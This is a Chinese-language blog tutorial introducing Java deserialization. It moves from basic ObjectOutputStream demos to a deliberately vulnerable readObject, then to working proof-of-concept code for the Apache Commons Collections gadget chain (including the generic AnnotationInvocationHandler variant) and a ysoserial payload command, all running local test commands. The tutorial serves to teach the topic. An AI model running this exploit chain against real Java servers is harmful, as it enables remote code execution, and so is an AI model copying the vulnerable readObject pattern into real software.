java反序列化入门

0x00 序列化与反序列化

什么是序列化和反序列化

序列化是一个用于将对象状态转换为字节流的过程,可以将其保存到磁盘文件中或通过网络发送到任何其他程序;从字节流创建对象的相反的过程称为反序列化

为什么要序列化和反序列化

类的对象会随着程序的终止而被垃圾收集器销毁。如果要在不重新创建对象的情况下调用该类,就需要通过序列化将数据转换为字节流进行存储或者传输,在合适的地方通过对字节流反序列化继续调用该类。而创建的字节流是与平台无关的,在一个平台上序列化的对象可以在不同的平台上反序列化。

如何进行序列化和反序列化

通过ObjectOutputStream类的writeObject(Object obj)方法可以实现序列化。

通过ObjectInputStream类的readObject(Object obj) 方法可以实现发序列化。

一个类的对象要想序列化成功,需要满足两个条件:

    1. 该类必须实现 java.io.Serializable 接口。
    1. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

下面使用一个Demo来演示该过程。

一个满足上述序列化条件的任意类

1
2
3
4
5
6
7
8
9
10
11
12
class Student implements Serializable {
public String name;

Student(String name) {
this.name = name;
}

public void print() {
System.out.println("我是Student的print,下面是我输出的内容:");
System.out.println(this.name);
}
}

序列化Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.*;

public class SerTest {
public static void main(String[] args) throws Exception{

Student stu = new Student("boogle");
stu.print();
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(stu);
oos.close();
fos.close();
}
}

通过上面的序列化Demo,将序列化后的字节流保存在了object.ser文件中。

查看该文件,可以看到序列化特征头AC ED 00 05

然后写一个反序列化Demo,将上面的字节流文件还原为对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.*;
public class DeSerImp {
public static void main(String args[]) throws Exception{
// 以下就是反序列化操作
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);

Student deSerObj = (Student) ois.readObject();
System.out.println(deSerObj);
deSerObj.print();
ois.close();
fis.close();
}
}

运行后输出

1
2
3
Student@b815859
我是Student的print,下面是我输出的内容:
boogle

0x01 反序列化漏洞

在java反序列化的过程中,会调用反序列化类的readObject()方法,如果该方法书写不当,将会产生反序列化漏洞。

我们对上面的Student类稍加修改,重写其readObject()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Student implements Serializable {
public String name;
//添加cmd属性,用于要执行的命令
public String cmd = "calc.exe";

Student(String name) {
this.name = name;
}

public void print() {
System.out.println("我是Student的print,下面是我输出的内容:");
System.out.println(this.name);

}
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行命令
Runtime.getRuntime().exec(this.cmd);
}
}

使用之前的代码,对该类重新进行序列化反序列化后,将会运行readObject方法里的命令,弹出计算器。

此时在序列化时将cmd赋值为任意命令,便可以执行任意命令。

当然,这仅仅是一个测试的Demo,真实的代码中可能并不会出现如此低级的问题,但在真实环境中,可以通过一些列的调用代码链,最终达到上述Demo所实现的执行任意命令的效果。下面引入一个实例: Apache Commons Collections反序列化漏洞。

0x02 Apache Commons Collections反序列化漏洞

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包,提供了很多强有力的数据结构类型并且实现了各种集合工具类。 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等均使用了该第三方库。

在2015年11月6日FoxGlove Security安全团队的@breenmachine公布了Apache Commons Collections配合java反序列化漏洞实现远程命令执行的真实案例,使用了该库的各大java Web Server都受到影响。

首先搭建漏洞环境,在web.xml中添加以下配置获取受影响的commons-collections版本。

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

Commons Collections中实现了对Java标准数据结构Map接口的一个扩展类TransformedMap。 该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换, 具体的变换逻辑由Transformer类定义 。

查看Transformer接口类的具体实现,其问题出现在InvokerTransformer类。

查看InvokerTransformer类实现的transform方法, 该方法中采用了反射的方法进行函数调用,其中的参数均为可控参数,因为可控制该方法实现任意代码执行。

那么现在可以通过 可以通过TransformedMap.decorate()方法,获得一个TransformedMap的实例。 当该实例内的key 或者 value发生变化时,就会触发相应的Transformer的transform()方法,执行任意命令。

现在进行Demo测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class POC_Test implements Serializable{

public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2");
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Map.Entry entry = (Map.Entry) transformedmap.entrySet().iterator().next();
entry.setValue("123"); //对value进行改变时将触发transform()方法

}
}

成功弹出计算器

现在想要在反序列化中进行利用,需要在readObject方法中对Map进行其value值的改变,我们修改上面的Student类,使其满足我们这一美好的愿望。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Student implements Serializable {
public String name;
public Map map;

Student(String name) {
this.name = name;
}

private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next();
entry.setValue("123");
}
}

然后构造利用poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class SerTest {
public static void main(String[] args) throws Exception{

Student stu = new Student("boogle");
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl 127.0.0.1:8000/poc_test"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2");

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
stu.map = transformedmap;
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(stu);
oos.close();
fos.close();
}
}

成功请求到url

但是对于这样我们理想的Student类还是不够通用,那么有没有具备这么理想的条件,即在readObject方法中有对Map类型进行setVlalue操作的理想类,而且又能够通用的类呢?

回答是肯定的,这个类就是AnnotationInvocationHandler。其位置在sun.reflect.annotation.AnnotationInvocationHandler

这样一来,Commons Collections Java反序列化漏洞的通用Poc便出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class POC_Test implements Serializable{

public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2");

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

File f = new File("object.ser");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(ins);
}
}

0x03 ysoserial

ysoserial是集合了各种java反序列化payload的一个java反序列化工具。项目地址 https://github.com/frohoff/ysoserial

使用ysoserial可以快速构建上面的payload

1
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections1 "curl 127.0.0.1/ysoserial_test" |xxd

成功执行命令

0x04 参考链接

https://www.cnblogs.com/lsdb/p/9830363.html

https://www.cnblogs.com/he1m4n6a/p/10131566.html

https://xz.aliyun.com/t/2041

https://blog.csdn.net/bigtree_3721/article/details/51263780

https://my.oschina.net/swrite/blog/530188

本文标题:java反序列化入门

文章作者:boogle

发布时间:2019年11月27日 - 20:36

最后更新:2019年11月28日 - 14:19

原始链接:https://zhengbao.wang/java反序列化入门/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗